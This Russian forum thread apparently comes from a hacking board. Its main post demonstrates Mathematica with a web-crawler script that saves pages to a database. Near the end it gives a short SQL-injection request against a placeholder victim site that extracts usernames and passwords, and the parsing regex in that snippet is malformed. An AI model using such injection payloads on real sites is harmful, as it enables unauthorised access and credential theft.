PDA

Просмотр полной версии : Мощь Mathematica


Root-access
14.10.2009, 22:28
Здравствуйте!

В этой статье я бы хотел ещё раз напомнить всем о системе компьютерной алгебры Mathematica от фирмы Wolfram Research.

Справка из Википедии:

Mathematica — система компьютерной алгебры компании Wolfram Research. Содержит множество функций как для аналитических преобразований, так и для численных расчётов. Кроме того, программа поддерживает работу с графикой и звуком, включая построение двух- и трёхмерных графиков функций, рисование произвольных геометрических фигур, импорт и экспорт изображений и звука.

Я бы не хотел размусоливать здесь общие сведения об этой программе и как ей пользоваться.

Я хочу лишь на примере показать мощь Mathematica, которая проявляется не только в математических программах, но и в иных прикладных программах, в том числе хакерских.

Заодно расскажу об основных функциях, нужных для этого.

Для начала напишем web-краулер. Есть тысячи реализаций краулеров на самых разных языках. Но мне нравится моя весьма лаконичная и красивая реализация на Mathematica.

Что ж, начну с того, что скажу, что в Mathematica есть встроенная СУБД DatabaseLink. Она позволяет управлять самыми разными видами баз данных прямо из Mathematica, то есть не нужно внешних СУБД.

Для работы с DatabaseLink в программе надо добавить строчку Needs["DatabaseLink`"].

Напишите в Notebook следующий код:

Needs["DatabaseLink`"]
OpenSQLConnection[]


Откроется GUI-программа для управления базами данных. Там Вы можете создать базу данных.

Теперь насчёт извлечения web-страниц: это делается функцией Import[] (почитайте документацию), причём разработчики позаботились о нас и написали парсеры элементов страницы.Так что всё делается очень легко.

Всё, больше не буду разводить воду и напишу сам код. Думаю всё итак понятно, но на всякий случай написал комментарии.


Needs["DatabaseLink`"]
urli = "http://ya.ru" (*Любой URL для краулинга*)
text = Import[urli] (* Импортируем страницу в виде plain-text (т.е. без html-тегов) *)
title = Import[urli, "Title"] (* Импортируем <title>*)
links = Import[urli, "Hyperlinks"](*Импортируем все ссылки*)
conn = OpenSQLConnection["index", "Username" -> "indexer", "Password" -> "crawler"] (*Подключаемся к БД*)
SQLConnection["index", 1, "Open", "<>"]
SQLCreateTable[conn,
SQLTable["iNDEX"], {SQLColumn["urli", "DataTypeName" -> "STRING"],
SQLColumn["text", "DataTypeName" -> "STRING"],
SQLColumn["title", "DataTypeName" -> "STRING"],
SQLColumn["links", "DataTypeName" -> "STRING"]}]; (*Собственно, создаём таблицу*)
SQLInsert[conn, "INDEX", {"urli", "text", "title", "links"}, {urli,
text, title, links}] (*Закидываем данные в таблицу*)
CloseSQLConnection[conn](*Отключаемся от БД*)


Как видите, код очень короткий и интуитивно понятный.

Из хакерских программ на Mathematica удобно писать сплойты, но к сожалению у меня нет готовых кодов, ибо я (пока:)) их не писал.

Но суть такова:


urli = "http://victim.com"
StringCases[Import[urli<>"news.php?id=-1+union+select+concat_ws('%3A','user','password'), 2,3,4+from+users+limit+1,1/*"],RegularExpression["[^*:::*$"]] (*Парсим логин и пароль*)


Это простейший вариант сплойта для простейшей инъекции. Конечно же для blind sql-инъекций код будет посложнее, будут циклы, по которым идёт перебор символов. Кстати циклы выглядят в Mathematica так: For[start,test,incr,body].


Я надеюсь Вас заинтересовала система компьютерной алгебры Wolfram Mathematica, и Вы захотите в ней разобраться. Вопросы можете задавать здесь. Удачи!

(c) BECHED (aka Root-access) 2009, http://ahco.ru/topic1813.html

BrainDeaD
14.10.2009, 23:13
имхо, абсолютно нецелесообразное использование софта.
я тоже иногда нож вместо линейки использую. так что теперь детям в школу ножики давать?

Root-access
14.10.2009, 23:16
имхо, абсолютно нецелесообразное использование софта.
я тоже иногда нож вместо линейки использую. так что теперь детям в школу ножики давать?

Это почему же не целесообразное?!
Кто запрещает писать, скажем web-краулер на Mathematica?
Эта система далеко не только для научных расчетов.
Если удобно, то почему бы и нет?
Кстати поисковик wolframalfa.com тоже на mathematica написан.

gibson
14.10.2009, 23:18
Кто не знает, пусть погуглит.
пошел гуглить, будет удалена.

Xcontrol212
15.10.2009, 22:39
Достаточно интересно,уже качаю Wolfram:)

desTiny
16.10.2009, 00:04
эзотерика ёпть

Root-access
16.10.2009, 00:32
эзотерика ёпть

Ну вообще-то это не эзотерика. Да это и не имеет никакого значения. Главное - польза.